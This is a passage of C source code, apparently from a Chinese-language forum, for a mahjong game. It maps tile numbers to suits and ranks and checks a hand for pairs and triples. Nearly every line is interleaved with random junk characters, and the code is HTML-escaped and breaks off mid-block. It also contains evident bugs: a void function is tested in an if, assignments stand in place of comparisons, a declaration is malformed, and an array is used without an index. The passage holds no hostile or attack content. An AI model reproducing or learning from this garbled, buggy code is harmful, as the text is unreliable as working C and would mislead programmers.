& b: m) j2 K$ w: i5 `logoo=3;
+ w1 d" s6 L9 u. V8 Gelse if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
5 X2 ^4 g  V1 F# a% _logoo=4;
2 U% I; P* o- [" r$ welse if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
# S* [: w9 _) d! }0 d, x; W* n+ Ilogoo=5;7 `0 [+ E/ Z  H5 K# Q; C
else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
2 d" P9 \& C( |# E9 t& |logoo=6;- z" y( g- [+ m% ~: y: v
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
1 Z5 w5 |/ v$ Mlogoo=7;! ]0 @' ~# T1 c2 Y& l
else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
# P" \/ P1 @& Zlogoo=8;$ L/ ?" w4 O) A$ A( i/ U
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
! B3 x. N7 |2 Nlogoo=9;
; [) u1 }4 c& I5 S8 ^6 u1 R}
5 n( `$ D1 r& b* F1 G! Y5 uelse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)' Q+ k% e7 Z, A- _, q% O% {6 y/ ]
{
5 N7 i. H) z, p4 m5 wlogo=3;2 x' n  a2 X, Z: T/ o0 h3 a: h
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
+ j1 N5 e! R" `logoo=1;( o+ I* J9 {9 r
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)0 O2 e! H; N( c; h- M7 H$ ]2 ]7 @
logoo=2;
! x, h) Z: c3 g  |9 eelse if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80), }4 o/ X6 p1 r
logoo=3;
+ [* L$ W, a0 _' O- D' v3 [2 D7 Zelse if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)  L2 |6 a! H) a5 V( f4 X# k
logoo=4;
, L9 V; ?! a$ h% D/ kelse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
3 |; g, a  }( {+ ulogoo=5;
* d: m- T  M& ^0 B/ d( q& kelse if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
% T; G* |; ^1 W7 ~( Tlogoo=6;( v6 Y! W3 T$ }7 t- y
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
! l+ r. t, n, o8 Y0 Blogoo=7;$ S$ n: C) J2 B& F  B5 w
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)4 L7 K* J' |; A
logoo=8;
+ {* S# j# h- \* c; f3 \else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
6 v2 W/ e* h1 Z% y4 klogoo=9;
5 O5 O9 Q" h; }  p; |1 c) V}: Y% y/ k- H  g9 ~
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)  C& |0 E1 I1 F- c; i) J
{- D; r, s! e2 r; e
logo=4;9 X% `1 o$ N9 ^7 t4 N8 t
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108), q; I2 G/ C! k/ s0 s& K- b
logoo=1;+ ^0 C& ^" |3 Z
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112); [7 X( W! b, @7 j; K6 f
logoo=2;7 W) ], n/ k4 v* u3 W+ K& h' G
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
- l; n) V% v* T4 S' f% \+ qlogoo=3;
- m0 a0 ]# @! a1 e6 S7 `3 Helse if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)* a4 U7 c2 \& N6 A8 \+ L
logoo=4;
' s' ]; K) Z5 n* jelse if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)3 X# Y. Y2 Q( ?* m" v
logoo=5;/ _  w: z8 w+ b( V' t
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)
9 ?# d$ a! f) p- m/ @/ i  xlogoo=6;5 e. n( G; x# `' p
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
# u# L% Q5 C" {6 slogoo=7;+ v( o: e" q, {7 a
}
. \4 n7 u5 `: p* n1 vwhile(b&lt;=me.m)9 S6 t7 q1 X7 G% }/ d* e! a- f
{
4 z$ f6 G# C% O; c' r' q$ xif(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/! H" a) B, O9 O+ V, U0 b' O4 _
{
1 l1 X+ c; f# [. T  k1 elg=1;# }0 a! U! a- l4 D2 X( G4 A
me.pp.d[0]=1;' G3 l  b0 V0 l9 R1 H
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)1 k! R& q1 q; q4 A) S
{
  l$ C5 L1 F2 X& E8 g2 Elgg=1;' O6 y0 I7 O: l4 _* t. ?: F. v
me.pp.d[1]=1;
2 e0 |$ H2 t, Y4 u9 J}5 b/ o( G4 E# ]  c+ i" }5 i4 j" B
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
9 w; s2 E9 W3 O" e% f{) u! S4 A6 W# {7 W/ T: F. I: Q
lgg=2;
/ X# F' }( S6 T% ]1 ?me.pp.d[1]=2;
, g' g" \2 ^2 R: w, ?1 c}5 Z! W1 `5 T) q) @9 w7 t! V# D
else if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
4 U2 }8 V5 l# P{# {4 G9 w$ Q8 e2 c& s, `) U
lgg=3;; G! j; Q7 \; b3 J" ?& I( w; T
me.pp.d[1]=3;
9 O" {: m: F- H# P5 q}. {4 v$ t0 j1 k: s# Z
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)9 y, Y6 A; U! [8 Z
{
* G( ]. o) d3 Olgg=4;
) `4 v# X) G- a# J& z4 Qme.pp.d[1]=4;
4 P0 L/ x, x9 \. t3 y) F}
) R, t- m* b) {- y' X4 Welse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)' \/ G- v* ?/ N7 u
{) l& H, F, s7 ~: A1 n' m
lgg=5;0 W4 i* ~: q* g" l2 M( D; z# C$ S
me.pp.d[1]=5;
/ B: j+ ]# z& o( V* D6 r( b) _5 J}
: G5 ]' j0 a# C- @, k' H, o6 H7 J0 |else if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
  K8 P4 g! C9 _# l2 ^' A9 r. _6 C{
5 ?: P, X9 L9 N) d: O$ Blgg=6;. h. P% R9 t5 v9 R6 k' i) `; l
me.pp.d[1]=6;: C! M& z( e7 i5 l/ f
}
3 Z2 e6 r4 m2 celse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)3 r% E' c* \+ b; v$ L( @6 g4 s1 M
{! g, L% M' F1 t$ w( R5 V) h
lgg=7;
, f5 X' M0 P$ n( Q! `' K& qme.pp.d[1]=7;1 {9 [, ~2 `# h5 g& r  S
}
( |$ @# F7 b# a' s/ Q; @else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)2 Y7 i( N" C: u! u2 s7 x
{" D  i2 h7 X) p" k
lgg=8;
& Q# V2 K9 b$ {7 }1 ?  l5 `' yme.pp.d[1]=8;) ?# d! A# M, z+ v, l  `' D' W
}
6 [$ r7 s# L& \1 g" j. K( }else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)# M! q! s. `% U. e! q
{, T1 V7 E8 I, d- D
lgg=9;$ @, g8 {6 b4 A  W7 }# I; Z
me.pp.d[1]=9;7 Z  \8 P, L/ [! ^- ^$ |; E
}
9 {1 C8 j2 D: x( B+ I}; e% N5 G# z' N" S9 q) s: y# p. @
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
5 l/ @+ Z, b8 U- ~{5 y* F  _* \* d! \6 n2 z% |  @
lg=2;
) A2 R$ I+ X3 L  x- i# W. h3 pme.pp.d[0]=2;& ~+ G! C$ @! t6 L
if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
' p2 z0 }/ O( a/ H7 W{
! K# S+ C# B9 a' e0 y, U! Elgg=1;
. Q( ^4 p7 l* y) X1 sme.pp.d[1]=1;
* F6 R. B- J. X( D  X1 [+ E$ N+ }# |% x- ^}% Y3 W" F. ?( L6 v1 l$ y6 Z
else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)1 C2 ]" i1 Z( U; v3 A# G1 _
{
/ B! A# E, P) i1 A" ^5 ulgg=2;3 x7 ~; P5 F! J6 T, O
me.pp.d[1]=2;
8 ]; j! e. k/ l! z7 U2 h+ ?3 x}
8 c; t6 M  c. L) M+ e3 [" ^else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)7 w) V, W5 N* g! M6 o3 m
{0 r- w1 y& G3 m3 h, z# R
lgg=3;
+ i3 B" m  D% p+ V1 @  U- |% M7 xme.pp.d[1]=3;, ^2 R9 X) t& B- G& _; W1 K
}
9 [- f  Q9 B$ j, }else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
; m% ]9 y; q6 Q9 W+ A8 O5 j{* d" R, j# V) y$ J8 q
lgg=4;% c0 o- C+ {  ~$ x
me.pp.d[1]=4;
$ h" ~; E' r5 A4 ], b: G}( k9 r& |8 A, {- M' k% K; x9 q( p
else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)2 F, V: x( T5 }% u$ c& ], w2 `# T
{! L+ n7 `: P0 t4 s7 }0 B$ w
lgg=5;0 Z  y0 z+ n  N. h" F3 ^/ p7 G
me.pp.d[1]=5;
4 [3 _5 [3 h" l. {) y}
2 N6 `+ b+ m6 `' p; {# welse if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)8 Z1 S! w5 f( N$ c# m3 D
{5 p# f8 i) G- I# C; B
lgg=6;
  V7 \: X9 W0 D! G& Ame.pp.d[1]=6;" |  |; `( e& b/ K
}- e$ j; Y) A; H6 A
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)% u+ [# a3 V5 M2 ?+ _$ O' S3 D
{
! [+ M) g" P/ f" flgg=7;
  X0 C4 I! ?) h% l+ U/ t4 lme.pp.d[1]=7;- _4 o8 [9 ]( ?7 f- Q
}" M/ p7 O! M* X1 r1 M
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)! L4 k+ o- g3 O, w0 e% T
{/ V  @/ B( Y9 x+ u, w8 F# h$ l
lgg=8;; z6 Z" K( s7 }4 a
me.pp.d[1]=8;
* J$ a8 ?! Y9 j  G# q! A}
! S7 P6 l4 ^3 [! N$ Nelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
& s7 E) x  Q) \{% G  Q( o; n( J9 N) b$ Q; ^+ B( J
lgg=9;+ f$ [4 n1 |, x- ^& Z  m2 Q, ?
me.pp.d[1]=9;: }; Y+ S: u2 y7 F, m5 m
}" q. `# F% C8 a0 ]- B- D! d& \
}
" z6 ^; k( D/ s* G+ Z5 felse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
4 q1 B" g6 J" D7 v) f8 y{; h: t" P! h9 u! `' z2 b! X
lg=3;
5 u) u8 C, B' ^$ Zme.pp.d[0]=3;
' E/ ^/ m4 F( t" Pif(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)) M5 M% a4 J$ w9 W
{6 ~3 B$ s( h  E* V! R3 m
lgg=1;+ k! l2 P# I' E  }$ o$ n
me.pp.d[1]=1;6 Y6 g: B4 Z7 N1 d! w2 [1 u
}
; d4 V' {) _1 @else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)* o3 |' e$ x! w/ ^  k0 k1 ^* X
{6 ]# ~+ L0 ^6 a8 s) c8 c$ d' u
lgg=2;1 P' M. ?, i9 t9 a4 b. L
me.pp.d[1]=2;8 f' }: d4 b3 G8 v6 L, S3 ?+ W( }
}) M$ S2 |/ Z" n
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
/ q. s- i* f! O& C, _* c{
; K* o6 O) d4 B* _! ]lgg=3;4 F1 m- z- w" q! @. `( b2 @
me.pp.d[1]=3;
0 H, x# q. H7 k2 K}
7 f/ k* Z0 Q2 m' n2 ?else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)6 d- y/ Q* m6 M6 U/ {: r5 n9 S
{+ C2 R% B* ^6 s* E: P4 @
lgg=4;7 @- V3 E9 o+ ]
me.pp.d[1]=4;2 j5 v$ U9 g2 s' w
}
" M& |. x& ]3 ~else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)) w  w, j) `* T& _  |
{
* Q' e, R$ f3 v4 e. X4 glgg=5;6 z2 @# D' a- d" v9 u2 S" E$ B7 z
me.pp.d[1]=5;  W% P9 S3 `2 T) H% g# k5 X
}/ A3 h! r) A$ d7 V) ^. }
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)
; E; D) D: \6 h) @! z{
! M  h9 }( b8 X, [9 ?/ Llgg=6;0 m# C. ?6 q. ^
me.pp.d[1]=6;
! o1 [4 v% c/ K; M' A8 k$ N}+ ~5 c; k4 k# R& |! x5 J
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
3 l( r1 l3 k$ t7 v5 x! ]( J( M" [3 Z{
5 Q( x! z" k  L6 V3 \lgg=7;, p. P7 H9 N+ c- s  _7 n" R5 }. x
me.pp.d[1]=7;) u' N6 ?. z) c
}! P: M- [; f; ~! n7 G
else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)( ^2 ^4 c( A( `+ h: e+ m" M. L
{
0 J& q' P$ N- C& v8 _lgg=8;
6 e: r# i, g% W& v+ I- o1 zme.pp.d[1]=8;
2 f: L" I! X  R1 C9 o}
4 y( I% @( u# o3 P% H* _) K# celse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
' R+ n) P( P3 ]" a) ?1 t{
1 L" J% E" l; O& J4 D5 J% O( k4 qlgg=9;7 ]4 p5 d+ z6 L  `3 d4 w5 a
me.pp.d[1]=9;
# C2 L% F3 ~7 g) Y  G0 k# Y- o$ F}
" C. W/ t( \- D* y! N/ c* Z}
1 G  z' x. b; T! ?  ^" welse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
5 J7 l- e5 c6 W0 `, _{
  x' U3 U" c. e2 p8 j) Y- @5 Wlg=4;
: l2 T3 C& ^% T. J) r' _me.pp.d[0]=4;
3 x" Y, h! d  x5 |if(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)0 O( {  D- m# {7 v2 Q
{
" `: P; Y5 \4 N' k' ]+ n, h4 `lgg=1;) k4 f! T# z0 V
me.pp.d[1]=1;8 |) V8 r; U6 K# `
}5 ]# @! D4 V8 p
else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
/ }5 B5 q9 o' d" j$ z$ ~{
$ R  m+ j0 s/ ?1 z) c7 |# Plgg=2;  W% \- X( A" I, W/ W5 ~1 b' H
me.pp.d[1]=2;' z3 o( F2 G* ]
}
5 T+ _. P4 k: W, selse if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
% r: ]2 p* k; l+ g{
, s1 ~1 d$ E1 S+ n( _lgg=3;2 [5 o. ~- D# M7 `: Y. ]
me.pp.d[1]=3;. c4 k9 B+ X3 S* Y
}6 s( x* Q0 B+ T4 l, l
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)' b, ^1 {1 a: t5 D# G4 E1 S: E
{
$ O. {# s& U. @8 s' Ulgg=4;
( ^6 G. v- W' X0 o: Ime.pp.d[1]=4;
2 n) E& a% D, `% [' u( J1 [$ L}/ j/ l9 P8 @; d, ]
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
+ C4 d0 R! q! D9 U8 z% y, Y; a{( D' T9 Q' Z! |, q9 p" l% z
lgg=5;
8 D1 u" R3 S$ }) q% S- ?me.pp.d[1]=5;+ P0 I# T! |, _2 U+ d& m* [
}
, \3 o; E1 Q9 E" H# p6 Eelse if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)& N9 P  F3 \6 O4 N6 v2 y7 q
{
% J. E( u$ X# m% V& M& G, Ylgg=6;
+ l6 r/ \! E7 C+ T4 A/ c3 hme.pp.d[1]=6;
' L; l5 `. P. S. j) ^+ x}
% E" @( e+ p% telse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132). @. J3 o, C  ]" ~
{
, T5 h% A& s6 hlgg=7;
6 Z9 P9 C. n( j2 Q) U5 Qme.pp.d[1]=7;! t$ t: f0 X. E+ Y: l0 y
}
$ R+ ]/ G/ ?: A4 s}
) ^, h" G# C7 }7 i) v}* p) E. d/ ?) m% R3 G7 T( B
}
8 y* D7 i( T* c6 g( f% p2 |" m" evoid istwo(testt)/ Z1 |& |6 D, b6 d
int testt[];
6 ~. v$ G  \! w' [{ if(testt[0]==testt[1])
0 q8 l8 ?) o/ v; S# qsecond++;% d2 f# A0 N3 f+ j! K" \
}
3 V) S! p% z. P, L; w" C4 E+ ^, x+ a; ]; _void isthree(testt,n)
# O. R( |. o2 b3 b- T/ H! a) @9 U3 eint testt[],n=0;% k% o/ L$ }& G! f; W
{ int i,j,flage=0,lianx=0,same=0;% ~, M# m& f6 Y% C' g4 ~
n=n/3;) v1 }4 t, [& M$ C( C3 L2 j, V- N  J
for(j=0;j&lt;n;j++)0 F  P$ ~' A) C' R  H
{7 ?+ w  p* x$ C, {% D, i2 C6 F" ?
for(i=j*3;i&lt;2+j*3;i++)
' j. V0 w5 j8 |0 o, Q6 b{8 p% T6 }4 D+ f$ t% ?
if(testt==testt[i+1])& ?/ k$ y/ s( |: `1 v& d
same++;
4 W- y  |! E2 d! }: _# v4 [if(testt[i+1]-testt==1)4 M# d8 j1 u( O$ ]* U
lianx++;  Q3 F/ L. z$ q! L! b5 s
}
6 [7 T: z& V) `$ w; x# b+ d, eif(same==2)
3 n4 i/ s- d2 Z7 R! w9 T# Bthrees++;/ V) l8 }, q/ y' q. `5 I8 q5 m
if(lianx==2)
: }5 t8 Z2 M$ h) rthrees++;, L9 h  F* [* O$ {
same=0;# i- J2 K& o+ B' S' Z
lianx=0;' n) y4 N2 N: \
}
; R8 u. C$ ]: Z- a}
. N, w2 k8 n& N9 k; C& M6 kvoid panduan() /*本程序的精髓*/, }# v8 L' y: P$ _0 h
{int data[14];8 C( U  ]  ^  k
int pw[14];- L, B4 s+ H# N
int pt[14];
# u2 g9 ^7 O. J  @7 Cint pi[14];* ]$ d) r7 u; l9 d. S. l
int pf[14];
9 _4 h( |2 v0 h. J) t+ |" Cint test[12];$ v4 m. u: h4 O. i/ I
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
3 f  a+ ~0 |; Z, Q, rfor(jj=0;jj&lt;=me.m;jj++)- r0 ~/ E0 n; U* d$ B3 V
{
# n2 G' p( s4 D6 W. Tif(me.pp[jj].d[0]==1)
% d4 I3 ~1 ]; J, U  a3 ddata[jj]=me.pp[jj].d[1];/ |' J, u, j5 s/ A, [
if(me.pp[jj].d[0]==2)2 `# ~. V( c: p, `, J8 \9 \
data[jj]=me.pp[jj].d[1]+10;
+ Y8 E, W, z9 R/ v  F& ~if(me.pp[jj].d[0]==3)
  {! M& o4 w( `9 rdata[jj]=me.pp[jj].d[1]+20;
1 J- E0 k3 u) i; Uif(me.pp[jj].d[0]==4)
$ ?: l" a! `. r" ~+ S4 ~data[jj]=me.pp[jj].d[1]+30;
% G$ f  J$ T  _8 H- X& w0 o7 j}! }2 K2 b: ]8 q+ @: t3 N/ e. X, |
if(logo==2)
0 [2 B0 E1 X0 {  b0 Iw=logoo+10;2 X. K2 z: U, Q. j1 @9 g
if(logo==3)
" `5 K4 M1 h0 ?, c+ qw=logoo+20;; A2 H: S" Y. Y. Q
if(logo==4)+ F# e& g0 {1 a  @
w=logoo+30;
) ]) C& \# o9 W  C5 Xdata[computer.m+1]=w;/ L) ^! z& ^; Z( g
for(mm=0;mm&lt;=computer.m;mm++)
1 a+ U+ n; o# b  cfor(nn=mm;nn&lt;=computer.m;nn++)+ e* e4 N, s- k/ f2 m0 L4 H$ A  m
if(data[mm]&gt;data[nn+1])
+ N* O" m2 t+ s5 R+ L' o{8 u* ^7 Z, @! ~( Q+ Y
tpp=data[mm];
$ A& S/ @1 q4 zdata[mm]=data[nn+1];
& J8 f, v2 r: g& A) H$ l+ a3 Sdata[nn+1]=tpp;
+ Z! c1 l" A1 L$ n' o3 _9 p' a}
" u3 m. i# s6 |- B: f6 j9 Klp=0;
' K0 l# D' i" R6 Awhile(lp&lt;=computer.m)
6 A: y" \2 T" |& l7 e3 O{ if(data[lp]&lt;10)
5 j+ v- f+ X( H  vpw[ww++]=data[lp];
) X  n& N# }0 [: k& v) W$ Pif(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)# K# b- i/ p" {2 q6 H
pt[tt++]=data[lp];2 ~: k$ M$ O$ D/ s
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)4 H1 a* p: q0 u
pi[ii++]=data[lp];+ L0 f, D4 E: }, \' y, t- J0 s
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)# J! n7 T4 \' m  ^! R: a
pf[ff++]=data[lp];9 e# D4 X/ a  |) T; b$ R( W6 r
lp++;
& t" L% O2 z. ?3 C}5 {6 m- |; g' C" t  e" D1 b/ J4 t
if(ww==2); v/ R/ \  o/ K% L0 N& z/ g" g
istwo(pw);* L. U7 y% H- K6 \8 {# [) b, }
else if(ww==3)
. E+ Z; s# J2 q9 z/ b3 ?2 Histhree(pw,ww);8 z" X; Z! `2 P) m& Q8 j2 L
else if(ww==5)8 X* b  v, ~' o2 {4 `! L  n. C
/*pw[5]原始牌数组,假设已经升序排列*/
- Q, s' y* J1 Y1 O8 a- B' ~/*test[3]用来放置测试牌的数组*/8 V$ k- F& y. B8 p7 C
for(i=0;i&lt;4;i++)
/ z3 E' W  z8 l* o4 ~/ n" }$ w0 J7 {. J{# a# ?3 m4 J& e% B; ~% |* O
for(j=0;j&lt;2;j++)
) \, d* y2 D8 S" T{test[j]=pw[i+j];
  H7 n: D7 N! }) Y}4 i& V& S& b9 r  `
if(istwo(test))3 f* Q  U0 g4 M0 W- L, |
{ ill=0;
; X- Q( U# b8 M0 @  Qfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
- S* U% {! g6 X{if(kl==i)7 ^2 P- j2 {2 P; ^  [
{
; Q: V" ^3 }- ]) R% h! f' skl=kl+2;; _" H9 B6 Y- @  g  w
if(kl==5)
6 Z$ p) m  X- V) r: l- rbreak;) o, Q$ q! X6 V* u
}( W* [: E4 l2 ~+ V
test[ill++]=pw[kl];+ g. M8 S% Z8 i7 |  x3 `
}+ L1 H" i4 n  f# y
isthree(test);
0 l  X3 b- \1 i9 q- J}
: k/ M5 c) B( f% y, x. {}
0 m7 Z! I/ v3 helse if(ww==6)
9 i: g% x# e& J7 oisthree(pw,ww); ! ?- T3 Q( o! @7 s8 K
else if(ww==8), Z& e  {5 m/ n& {( H& K5 a
for(i=0;i&lt;7;i++)
# O$ J6 i6 R, r! |: G& w+ F6 V& w{
+ @: ?! Z2 k) t' wfor(j=0;j&lt;2;j++)8 F( O& W1 j2 k8 R; l5 i% J
{test[j]=pw[i+j]; 1 C* W' [2 j9 n/ r, O+ k3 Y( q
}7 ?9 M5 R/ v5 E$ d
if(istwo(test))! c1 Z+ v: h3 F8 I! k, c+ \8 {
{ ill=0;
5 F- P% ]. N4 F# H8 I! ?for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
- U0 b% `- z8 G' O( l, {{if(kl==i)& E8 Z# ~5 e3 _
{9 u& t! [# i  |' M
kl=kl+2;% P9 h: }7 A  C- ^4 i- q1 l
if(kl==8)
8 y( F2 W) b& n7 ~: h- t7 Ebreak;" L$ h% V. s  x7 J" S& b% f
}
5 n" F7 b+ J) R" a$ Rtest[ill++]=pw[kl];; q7 _  _# j% X' F7 V  z2 i
}
* a  W" _( e- p+ q3 }' v9 j6 Q- G# O: [# sisthree(test,ww-2);
$ n; F8 C+ ]2 @2 u, n% Q$ a1 b5 W4 x}$ q) Q3 V# A- Z. J! u
} 4 E7 N5 Z! Y/ f' C; m( y
else if(ww==9)
# h* {1 H! e' _4 u7 W7 b+ wisthree(pw,ww);! D, k6 {9 e: M  N
else if(ww==11)' u# l+ ~5 k; t
for(i=0;i&lt;10;i++)
2 N9 d. X; {( J5 ^: `{3 ~) o# |7 _- h4 u+ b  e; u- d7 V
for(j=0;j&lt;2;j++)+ G& X* \- n+ d
{test[j]=pw[i+j]; " F3 u) `9 J3 _7 Z* W5 E
}
/ O& A* S% h8 c' {) k/ R7 _if(istwo(test))
3 L) `6 k1 y2 y; K! s' f{ ill=0;
4 K7 D9 w6 o; n1 B. l* ofor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/3 i3 [- y8 W5 }7 z
{if(kl==i)
4 |$ C% E) @" S- s" K& l0 @{
0 s3 w9 E0 e( q$ k3 tkl=kl+2;4 k' |  p$ R6 ~9 ^
if(kl==11)
1 g5 K, U6 Y; e/ t+ nbreak;1 \" D$ @% Q8 T7 y: d% b8 I
}
5 X5 b& K2 R. e6 }, ^test[ill++]=pw[kl];
) Q* A& N& ?& t1 ?# V* z}
. z$ ]" r' w) o  uisthree(test,ww-2);
* e) F) F2 A! n" N& a7 F1 `}% s. G9 N' r+ J, }" _2 Y. q
} 8 _$ x6 e" g9 w8 G6 Q6 H$ e" n
else if(ww=12)9 n/ [9 K4 t4 M4 {2 `( J* I
isthree(pw,ww);
+ {/ d  @  Y# \; @else if(ww=14)- p4 b: I5 X' k# u
for(i=0;i&lt;13;i++)
8 I  Y% Q! R7 x. e3 Y0 b{
5 Y: n& t  c: Vfor(j=0;j&lt;2;j++)
0 [- }, n8 j0 S3 `  O. k{test[j]=pw[i+j];
8 o9 ]$ G1 j) j}0 ~; {7 o9 z% Y$ W
if(istwo(test))) v! r/ A2 C0 x6 q7 J3 _3 h) z7 ]
{ ill=0;/ P" w- e1 R& L1 @( N
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
4 q  @+ ~; @0 W) R0 A( p6 K0 [5 @. x{if(kl==i)6 m$ {+ ~0 F7 v. t  J, U
{- Q1 k- g* l% t! _  b  d1 L& q3 a" V+ F
kl=kl+2;" u: [2 p7 \. q+ R. N
if(kl==14)# z' G- a4 }. K2 n, ]( m
break;
- D5 J) }$ ^4 H- i3 U6 ^}
3 K2 J- P. ^4 ~: ]/ N" atest[ill++]=pw[kl];
  T6 {- w0 Y, U7 B8 C}  o8 P! `5 ^8 r! d( `
isthree(test,ww-2);
2 U: s( f2 c- _. q7 u+ P; Z}  M) Y0 }# K+ ?: A7 g8 h
}
; r0 E4 L% C+ Q' E7 Q* \if(tt==2); W$ R+ F/ u$ [$ G& S* p3 [
istwo(pt);
5 u$ S( I  T, I* b1 H  aelse if(tt==3)
5 E: W  {' R8 }. listhree(pt,tt);
3 M3 E$ h) W+ B+ [# |; helse if(tt==5)
! j% C$ z' d4 z/*pt[5]原始牌数组,假设已经升序排列*/
+ B1 u8 R* c; Y+ j9 Z. P) v/*test[3]用来放置测试牌的数组*/
2 R3 V' p" P! ufor(i=0;i&lt;4;i++)' u+ G# i% N) D9 I' b
{! J! W: Z! P& N$ S0 R
for(j=0;j&lt;2;j++)! D8 D8 F' `" I$ N
{test[j]=pt[i+j]; - ?: M, L, j7 k* h8 x3 e
}1 h4 k- `2 ]: B0 X
if(istwo(test))
( f8 {' U: N: }  O. _9 i8 m{ ill=0;8 y, }) M# G5 P
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/" R* T! O( E9 h! v% l3 \! y
{if(kl==i)5 P  q* e; s" w1 k; ^
{3 B" J, \8 [; Z
kl=kl+2;
, i/ G8 A; k4 I0 i/ v# [if(kl==5)7 a6 z8 m" I5 |: w
break;, G# C& f/ s% v1 U( X7 Q" @
}* P4 N/ ~: l* j; k7 W
test[ill++]=pt[kl];
; w6 `2 [9 U7 A) {8 |}
) y1 ~% ]/ E- y+ G1 j# m) wisthree(test);
; i5 `# g' b' W. `- |}
+ ]) U/ X0 S" S& L}( Y+ w) i! N6 g5 D. D9 l, {
else if(tt==6)0 J, N  _5 [& G8 ]! P
isthree(pt,tt);
2 K6 B+ b7 P3 a: A# c1 J8 j+ g% r3 R2 Nelse if(tt==8)* i( j% _; Y: @; _
for(i=0;i&lt;7;i++)
) R, d( w8 U/ d8 G/ }* f4 _{
% S! u  W2 Q5 V9 E0 ^( ^for(j=0;j&lt;2;j++)
) T! Y6 z0 g4 n; G2 q4 ]{test[j]=pt[i+j];
9 R$ q& d8 u# G# z! A7 O: t}
" n8 a9 o! L/ L; L+ a" Aif(istwo(test))# D8 W# F; p- n7 v# h
{ ill=0;$ H5 }  k/ ~) c- u* K* v, M0 f
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/- u" t$ E  I  q1 t0 }3 b1 Y% B
{if(kl==i)  F0 U' Z' L8 z0 N: A
{
